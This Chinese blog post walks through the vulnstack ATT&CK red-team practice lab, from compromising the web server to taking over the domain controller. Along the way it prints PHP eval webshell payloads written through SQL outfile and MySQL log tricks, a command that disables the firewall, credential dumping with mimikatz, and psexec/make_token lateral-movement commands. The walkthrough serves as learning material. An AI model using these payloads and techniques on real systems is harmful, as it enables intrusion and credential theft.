介绍及环境搭建

靶机地址:http://vulnstack.qiyuanxuetang.net/vuln/detail/2

官方靶机说明:

红队实战系列,主要以真实企业环境为实例搭建一系列靶场,通过练习、视频教程、博客三位一体学习。另外本次实战完全模拟 ATT&CK 攻击链路进行搭建,开成完整闭环。后续也会搭建真实 APT 实战环境,从实战中成长。虚拟机所有统一密码:hongrisec@2019

配置网络,网络配置如下:

可以选择kali主机和web服务器(WIN7)直接开启NAT,但是也用不到,除非CS搭建在了自己的VPS上。我就是搭建在自己的VPS上,所以web服务器和kali主机是可以开启NAT访问外网的;

网络架构:

虚拟机环境:

kali(攻击机)以及三台服务器的配置:

开机这样:

需要先开启phpstudy:

注意win7的双网卡设置,并ping内网

win7双网卡,并且都可以ping通kali主机,且注意可以ping通内网,因为正常情况下DMZ区可以访问外网;

渗透web服务器流程

先发现主机:netdiscover -i eth0 -r 192.168.52.0/24

发现143主机之后,对其进行端口探测:

nmap -T4 -A -v -Pn IP

最常用的一种扫描

T4 设置时序,越高扫描越快
A 启用操作系统检测,版本检测,脚本扫描和跟踪路由
v 增加详细级别(使用-vv或更高级别以获得更好的效果)
Pn 无ping扫描

开放了80,3306这两个重要的端口

访问80端口,看到绝对路径,这个可是对后期渗透很有用的

** 绝对路径 C:/phpStudy/WWW

最下面检测mysql连接:root,root可以连接**

端口检测完成,到扫描目录步骤:

常规扫描只有phpmyadmin,这个字典不太行,直接用御剑的;

访问beifen.rar将文件下载,查看

robots.txt文件显示yxcms,访问

前台泄露了账号,密码,登录后发现有如下重要功能

可以尝试SQL写入shell,上传shell

首页的留言本可以实现存储型xss,盗取管理员cookie,诱导点击链接等。

查看此处的前台模板,可以自己添加模板,因为有源码备份文件,去查找default文件位置

可以确定写入模板位置位于:

192.168.52.143/yxcms/protected/apps/default/view/default/dudu.php

写入之后拿蚁剑连接

直接上传写shell,可以连接

这里我打算尝试一波目录遍历写入shell,不知是否可行

此处我上传成功了,并且蚁剑连接成功。但是前台没有显示../../../../../dudu2.php

此处的碎片删除界面,可以进行dnslog带外注入



具体分析查看:https://www.freebuf.com/column/162886.html

之前的phpmyadmin可以登录,尝试SQL写入shell

尝试执行SQL语句写入shell,写入shell的几个条件:

数据库此刻为root权限或者拥有File权限
知道网站绝对路径
PHP的GPC参数为关闭状态
Mysql中的secure_file_priv参数不能为Null状态

secure-file-priv特性:

secure-file-priv参数是用来限制LOAD DATA, SELECT ... OUTFILE, and LOAD_FILE()传到哪个指定目录
当secure_file_priv的值为null ,表示限制mysql 不允许导入|导出
当secure_file_priv的值为/tmp/ ,表示限制mysql 的导入|导出只能发生在/tmp/目录下
当secure_file_priv的值没有具体值时,表示不对mysql 的导入|导出做限制
可以在mysql-ini文件中设置其属性

这里值是NULL,直接into outfile写不了shell



如果想通过into写入文件,修改value的值: windows下修改配置文件:mysql.ini linux修改配置文件:my.cnf select 1,'<?php eval($_POST[a]);?>' INTO OUTFILE '/var/www/html/test.php'# select 1,'<?php eval($_POST[a]);?>' INTO dumpfile '/var/www/html/test.php'# 区别在于使用outfile时,文件中一行的末尾会自动换行

这里直接写shell不行,可以在SQL中开启日志记录,因为phpmyadmin泄露了绝对路径,然后指定位置写入shell

这里开启全局日志记录:

查看当前的日志记录:

指定日志文件存放于哪个目录,方便连接操作



写入shell,连接密码dudu3



蚁剑去连接:

刚开始去连接,没连上,以为SQL命令不合适,重复执行了一遍;

又去phpstudy查看效果,在www目录下,我连接是写的cms目录下,人傻了

还有一种方法利用慢日志写shell

一般都是通过long_query_time选项来设置这个时间值的,时间以秒为单位,可以精确到微妙。如果查询时间
超过了这个时间值,这个查询语句将会被记录到慢查询日志中; 查看服务器默认时间值方式:
show global variables like '%long_query_time%';
开启慢查询(关闭参数为0):
set global slow_query_log=1;
查看结果:
show global variables like '%slow%'; # 是否slow_query_log为ON
修改slow_query_log_file日志文件的绝对路径和文件名
set global slow_query_log_file='c:\\phpstudy\\www\\yxcms\\dudu4.php';
最后进行查询:
SELECT'<?php eval($_POST[dudu4]);?>' OR SLEEP(11);







执行最后一条语句需要注意:一般$_POST['']里面的内容会加引号,这里写入时不能加引号,否则语句执行不成功

去蚁剑连接就行,密码dudu4





前渗透基本结束,4种拿shell方式;

后渗透流程

我本来想直接利用公网VPS的CS服务器,在自己本机实现上线,但是还要牵扯代理,隧道诸多复杂事项,这个
靶机的初衷是web服务器置于外网,这样属于多层网络架构,可能无法拿下。只能利用kali主机的MSF,然后将CS
服务器起到ubuntu,然后win7电脑客户端实现上线;

然后给unbuntu和win7安装CS服务器和客户端,,,过程省略。。。

CS服务器



CS客户端



然后选择监听器呗,用蚁剑上传CS生成的木马



这里生成木马,拿蚁剑连接最好先去蚁剑关闭防火墙;

蚁剑终端执行:netsh advfirewall set allprofiles state off



一直不上线,,,两边的防火墙也都关了

搞了好久,发现是监听器设置错了,没有设置为自己服务器的地址,设置CS客户端的地址;

蚁剑执行上传的exe就行,防火墙之前关闭了,这里执行完就能上线主机


后渗透正式开始

先将这台主机的sleep设置为0,因为是靶机,正常环境不能太快;

对这台主机进行信息收集;






这里仔细分析一下,224为外网段,52为内网段,win环境中,DNS服务器一般是和DC绑定的,之前部署时需要绑定设置;所以52.138初步判断为域控的ip地址,继续信息收集;



对主机基本信息收集

查询操作系统及软件信息
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" # 英文系统
systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本" #中文系统
查看系统体系结构
echo %PROCESSOR_ARCHITECTURE%
PowerShell收集软件的版本信息
powershell "Get-WmiObject -class Win32_Product |Select-Object -Property name, version"
查看当前权限
whoami && whoami /priv
查询本机服务信息
wmic service list brief
查看安装的软件的版本、路径等
wmic product get name, version
查询进程信息
wmic process list brief
查看启动程序信息
wmic startup get command,caption





然后查看一下是否存在常见的杀毒软件进程,,,





命令很多,写个笔记,用的时候顺着往下敲,就知道了

这里就去定位域了,之前已经初步判断了存在域

前面判断了存在域,且DNS域名为god.org



然后我判断域用户角色和时间定位域的时候,出现错误提示5,这种情况说明此账户不是域用户,权限不够;(此处花费我很久时间去排查原因,最后发现是NAT网络原因,nslookup域名的时候也会出到外网,最后重新设置了一下win7主机的网卡才行)

然后查看主域信息以及时间服务器;

systeminfo查看了所在域环境和补丁情况

查询当前的登录域与用户信息

这个时候域信息基本清楚,就得定位域控了;因为之前发现ipconfig/all发现了dns服务器地址,就不在nslookup去解析了

查看域内的用户

获取域内用户的详细信息:wmic useraccount get /all

查看所有域成员计算机列表:net group "domain computers" /domain

查看域管理员的用户组:net group "domain admins" /domain

查询域系统管理员用户组:net group "Enterprise admins" /domain

查看域控制器:net group "domain controllers" /domain

获取域密码信息:net accounts /domain

基本域信息探测完毕,初步对域内主机账户有了初步了解,接下来就是提权,横向;

方法一:
·这里可以将MSF生成的马用蚁剑上传至WIN7服务器,而后运行
·反弹个shell给MSF(如果是powershell运行记得,修改策略,set-execut ionpolicy unrestricted)
·之前收集过systeminfo,这里使用第三方工具Windows-Exploit-Suggester去检测可以用漏洞;
(下载地址:https://github.com/GDSSecurity/Windows-Exploit-Suggester)
·在win7上systeminfo>win7.txt生成,而后去kali中利用
·存在MS16-014,MSF进行提权,nt authrity\system
·在win7主机上配置静态路由,run autoroute -s 192.168.52.0/24
·MSF自带扫描端口模块,auxiliary/scanner/portscan/tcp set rhosts(扫描的主机) 扫描的端口(80,445,3389)
·使用ms17-010 comand模块进行执行命令
·这里把shell反弹给cs,cs直接上线system权限,无需提权
·抓Hash密码,再扫描内网段
·添加SMB会话,psexec拿域控的shell
·beacon开启3389之后,就回到kali里面配置socks4a的代理,vi etc/proxychains.conf 添加socks4 x.x.x.x(MSF地址)port
·proxychains nc -v DCip 3389 proxychains redesktop DCip 3389 至此MSF结合CS,拿下整个域控过程完结

方法二:

获取了一个CS的beacon后可以目标内网情况和端口开放:

在beacon上右键->目标->选择net view或者port scan:


执行后在Targets选项卡看到扫描的主机:

这个时候去用CS的hashdump去读内存密码,用mimakatz读注册表密码:logonpasswords

权限不够可以先去提权,插件Elevatekit


抓取密码后探测内网其他主机:

for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.52.%I | findstr "TTL="

这条命令是不需要进行免杀的,是系统命令


这里还有k8大神的工具ladon,内容丰富,扫描快

主要介绍SMB beacon,CS派生SMB beacon

SMB beacon通过命名管道通过父级Beacon进行通讯,当两个Beacons链接后,子beacon从父beacon获取到任务并发送。因为链接的Beacons使用windows命名管道进行通信,此流量封装于SMB协议中,所以SMB beacon相对隐蔽,绕过防火墙会有奇效

第一种是在已经有的beacon上创建监听,用来作为跳板内网穿透,前提是通过shell访问其他内网主机,也就是获取DC的方法一

第二种就是直接派生一个孩子,目的为了进一步盗取内网主机的hash

新建一个listener,payload设置为Beacon SMB:


在已有的beacon上右键spawn生成会话,进行派生

选择创建的smb beacon的listener:选择后会反弹一个子会话,在external的ip后面会有一个连接图标


派生的SMB当前没有连接,可以在主beacon上连接它 link host

psexec使用凭证来登录其他主机

横向已经探测到了获取内网的其他Targets以及读取到的凭证信息

可以利用psexec模块登录其他主机

右键选择非域控主机(OWA)的psexec模块:

选择后,结果图




分别执行了

rev2self

make_token GOD.ORG\Administrator hongrisec@2021

jump psexec OWA SMB

最后依次得到了三台内网主机的system权限,图标试图:

这里还可以使用Token窃取

窃取token,然后再psexec,选择使用token

基本整个靶场就结束了,耗时三天;大概边做边记录了,排版什么的也没有注意,内网这块儿还是比较菜的,参考了很多文章,才磕磕碰碰结束

7月份就去实习了,投的北京的四家岗位,某宇没有面试过,还有一个甲方面过了但是因为学校7月离校,遗憾的通知我说已经没有编制了,不过也好在拿到了心仪公司的实习offer,因为明年毕业,5轮面试的是春招岗位,但是只能拿实习的offer了

ATK&CK红队评估实战靶场 (一)的搭建和模拟攻击过程全过程的更多相关文章

  1. ATT&CK红队评估实战靶场(一)

    靶机下载地址 http://vulnstack.qiyuanxuetang.net/vuln/detail/2/ 攻击拓扑如下 0x01环境搭建 配置两卡,仅主机模式192.168.52.0网段模拟内 ...

  2. 靶机练习 - ATT&CK红队实战靶场 - 1. 环境搭建和漏洞利用

    最近某个公众号介绍了网上的一套环境,这个环境是多个Windows靶机组成的,涉及到内网渗透,正好Windows和内网渗透一直没怎么接触过,所以拿来学习下. 下载地址:http://vulnstack. ...

  3. vulstack红队评估(五)

    一.环境搭建: ①根据作者公开的靶机信息整理 虚拟机密码: Win7: heart 123.com    #本地管理员用户 sun\Administrator dc123.com    #域管用户,改 ...

  4. vulstack红队评估(四)

    一.环境搭建: ①根据作者公开的靶机信息整理 虚拟机密码: ubuntu: ubuntu:ubuntu   win7: douser:Dotest123   Win2008 DC: administr ...

  5. vulstack红队评估(二)

    一.环境搭建: 1.根据作者公开的靶机信息整理: 靶场统一登录密码:1qaz@WSX     2.网络环境配置: ①Win2008双网卡模拟内外网: 外网:192.168.1.80,桥接模式与物理机相 ...

  6. vulstack红队评估(三)

    一.环境搭建: ①根据作者公开的靶机信息整理 没有虚拟机密码,纯黑盒测试...一共是5台机器,目标是拿下域控获取flag文件   ②虚拟机网卡设置 centos双网卡模拟内外网: 外网:192.168 ...

  7. vulstack红队评估(一)

    一.环境搭建: 1.根据作者公开的靶机信息整理: 虚拟机初始所有统一密码:hongrisec@2019   因为登陆前要修改密码,改为了panda666...   2.虚拟网卡网络配置: ①Win7双 ...

  8. ATT&CK实战系列 红队实战(一)————环境搭建

    首先感谢红日安全团队分享的靶机实战环境.红队实战系列,主要以真实企业环境为实例搭建一系列靶场,通过练习.视频教程.博客三位一体学习. 靶机下载地址:http://vulnstack.qiyuanxue ...

  9. Red Team 指南-第1章 红队和红队概述

    第1章 红队和红队概述 贡献者:Tony Kelly @infosectdk # 翻译者 BugMan 什么是红队?它来自哪里? 红队的起源是军事起源.人们意识到,为了更好地防御, 需要攻击自己的防御 ...

随机推荐

  1. python基础学习之元组和字典的功能方法

    什么是元组?(tuple) emmmmmm,这个没必要深究吧,就是一排'元素',一行 格式: a = (1,2,3,4,5,6,7,8,9)用小括号表示的,极为元组. 其有序,且不可更改,可以对比st ...

  2. (数据科学学习手札112)Python+Dash快速web应用开发——表单控件篇(上)

    本文示例代码已上传至我的Github仓库https://github.com/CNFeffery/DataScienceStudyNotes 1 简介 这是我的系列教程Python+Dash快速web ...

  3. MySQL入门(2)——存储引擎

    MySQL入门(2)--存储引擎 查询MySQL支持的存储引擎 查询全部支持的引擎: show engines; ";"可以使用"\g"等价替换,而使用&quo ...

  4. Codeforces 976C Nested Segments

    题面: 传送门 C. Nested Segments Input file: standard input Output file: standard output Time limit: 2 secon ...

  5. 数位dp 模板加例题

    概念:所谓数位"dp",是指对数字的"位"进行的与计数有关的DP.一个数一个位,十位,百位,千位等,数的每一位就是数位.数位DP用来解决与数字操作有关的问题.例 ...

  6. P1739_表达式括号匹配(JAVA语言)

    思路:刚开始想用stack,遇到'('就push,遇到')'就pop,后来发现其实我们只需要用到栈里'('的个数,所以我们用一个变量统计'('的个数就好啦~ 题目描述 假设一个表达式有英文字母(小写) ...

  7. 【原创】Linux虚拟化KVM-Qemu分析(十一)之virtqueue

    背景 Read the fucking source code! --By 鲁迅 A picture is worth a thousand words. --By 高尔基 说明: KVM版本:5.9 ...

  8. WPF3D立方体图形展开动画思路

    WPF3D立方体图形展开动画 效果图: 规定: 立方体中心为(000),棱长为2,则(111)(-1-1-1)等1,-1三维组合的八个点为其顶点 坐标系: 补充: WPF 3D 分为中心对称旋转(Ro ...

  9. Elasticsearch 分页查询

    目录 前言 from + size search after scroll api 总结 参考资料 前言 我们在实际工作中,有很多分页的需求,商品分页.订单分页等,在MySQL中我们可以使用limit ...

  10. Echarts4.x雷达图如何展示一维数据?

    最近做的项目其中一个功能是画雷达图,鼠标滑过雷达图的拐点,展示该维相关数据,并且需要显示雷达图的刻度. 但是我发现单纯的雷达图似乎没办法展示一维数据. 我总结了一下,关于画雷达图,我遇到的难点有三个: ...